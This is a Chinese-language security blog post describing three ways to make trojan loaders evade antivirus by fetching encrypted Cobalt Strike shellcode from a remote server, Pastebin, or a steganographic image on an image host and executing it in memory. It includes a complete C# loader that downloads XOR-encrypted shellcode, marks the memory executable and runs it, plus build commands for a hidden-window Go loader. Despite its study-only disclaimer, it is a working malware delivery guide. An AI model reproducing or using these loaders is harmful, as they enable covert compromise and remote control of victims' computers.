远程加载shellcode解密执行

admin 2024年11月12日22:56:26评论61 views字数 2656阅读8分51秒阅读模式

Loader与shellcode分离,是目前比较常见的一种木马免杀方式,下面讲一下远程拉取加密shellcode到内存中进行解密执行的3种实现思路。

1、直接服务器托管payload

使用CS生成一个shellcodebin文件

远程加载shellcode解密执行

使用密钥“qaxznb”进行逐位循环异或加密,获得一个加密的shellcode bin文件(C语言):

远程加载shellcode解密执行

bin文件放到http服务器:

远程加载shellcode解密执行

由于要远程下载shellcode,使用.NET程序集的WebClient.DownloadData会比较方便,所以马子的项目使用C#语言。

远程加载shellcode,并进行异或解密:

远程加载shellcode解密执行

远程加载shellcode解密执行

修改shellcdoe所在内存为可执行属性,并执行shellcode

远程加载shellcode解密执行

ptr是指向未托管函数(在这里是shellcode)的指针,Run是一个没有参数和返回值的委托类型。使用Marshal.GetDelegateForFunctionPointer方法可以将ptr转换为Run类型的委托,并将其执行,从而调用未托管函数,实现shellcode的执行。这种调用具有一定的免杀效果。

运行项目,成功上线:

远程加载shellcode解密执行

2、合法平台托管payload

攻击者为了逃避一些检测机制,会注册一些合法社交平台或代码托管平台的账号,发布嵌入了恶意代码的文章或图片,生成固定的链接,然后将木马设计为从链接中获取要执行的恶意指令。  

由于文章通常是可编辑的,所以攻击者可以以固定的链接向木马下发不同的指令或执行不同的shellcode。例如,可以用twittergithub,或者parsebin这类的平台,甚至是微博。

这里使用parsebin托管shellcode,将木马设计为从固定链接拉取shellcode并执行。

使用CS生成C#类型的shellcode,进行base64编码:

远程加载shellcode解密执行

在pastebin创建一个新的粘贴板,查看权限设置为公开,将编码后的shellcode复制进去:

远程加载shellcode解密执行

点击raw会跳转到一个仅包含刚刚写进去的内容的链接,保存好这个链接。

远程加载shellcode解密执行

创建一个C#项目,设计代码,远程加载并解码执行shellcode,远程链接就是上面的那个:

远程加载shellcode解密执行

编译后运行,上线:

远程加载shellcode解密执行

由于pastebin对于每篇文章都有单独的仅保存内容的链接,所以直接使用网页链接就好。但是如果使用一些社交平台,例如微博,往往没有这样的页面,需要获取html内容后对数据进行处理,截取帖子正文的内容。

远程加载shellcode解密执行

3、图片隐写shellcode+图床托管

这里使用一个开源项目:https://github.com/Hangingsword/HouQing

该项目是用Go语言编写的免杀项目,可以将Shellcode隐藏进图片中,然后让目标主机进行远程加载调用。

项目中有两个主要文件:

code.go:用于生成含有Shellcode的图片。

Loader.go:用于远程加载图片里的 Shellcode

首先需要修改项目中code.goLoader.go的源码改一下两个KEY的值,需要同时修改两个源码文件中的数值,数值需要相同,分别用于加密和解密shellcode

远程加载shellcode解密执行

使用CobaltStrike生成Java类型的shellcode

 远程加载shellcode解密执行

生成 payload.java,把里面的Shellcode取出来放入到code.go如下的位置,双引号需要去掉。

远程加载shellcode解密执行

找一张jpg图片进行shellcode的注入:go run code.go 11.jpg

远程加载shellcode解密执行

将图片托管到不会压缩图片的图床上,图片一定不能被压缩,不然无法上线。

推荐图床:https://imgloc.com/

远程加载shellcode解密执行

然后将生成的图片URL链接贴到对应位置,编译即可。

远程加载shellcode解密执行

在本地执行以下命令测试,目标主机成功上线。

远程加载shellcode解密执行

最后,执行以下命令,将加载器Loader.go编译成无窗口的可执行文件,在目标主机上执行Loader.exe 即可上线

gobuild -ldflags="-H windowsgui" loader.go

实现代码(以第一种方法为例)

using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using System.Text;
namespace xor {
class Program{
public static void 还原shellcode(byte[] shellcode, int 长度, char[] 密钥, int 密钥长度){
for (int i = 0; i < 长度; i++){
unsafe{
shellcode[i] = (byte)(shellcode[i] ^ 密钥[i % 密钥长度]);
}}}}}
namespace Loader{
class Program{
public delegate void Run();
[DllImport("kernel32.dll")]
private static extern int VirtualProtect(IntPtr lpAddress,UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void testrun(){
byte[] buf = new WebClient().DownloadData("http://xxx/payload1.bin");
int l = buf.Length;
char[] k = { 'q', 'a', 'x', 'z', 'n', 'b' }; 
xor.Program.还原shellcode(buf, l, k, 6); 
unsafe{
fixed(byte* ptr = buf){
VirtualProtect((IntPtr)ptr, (UIntPtr)buf.Length, 0X40, out _);
((Run)Marshal.GetDelegateForFunctionPointer((IntPtr)ptr, typeof(Run)))();  
}}
while (true) Thread.Sleep(100000000);   
}
private static void printf(string v1, byte v2){
throw new NotImplementedException();
}}}
public class Program{
public static void Main(){
Loader.Program.testrun();
}}

注:文章内容仅用于测试学习,请勿用于非法途径!维护网络安全人人有责~~

原文始发于微信公众号(红蓝攻防研究实验室):远程加载shellcode解密执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月12日22:56:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   远程加载shellcode解密执行https://cn-sec.com/archives/1942871.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息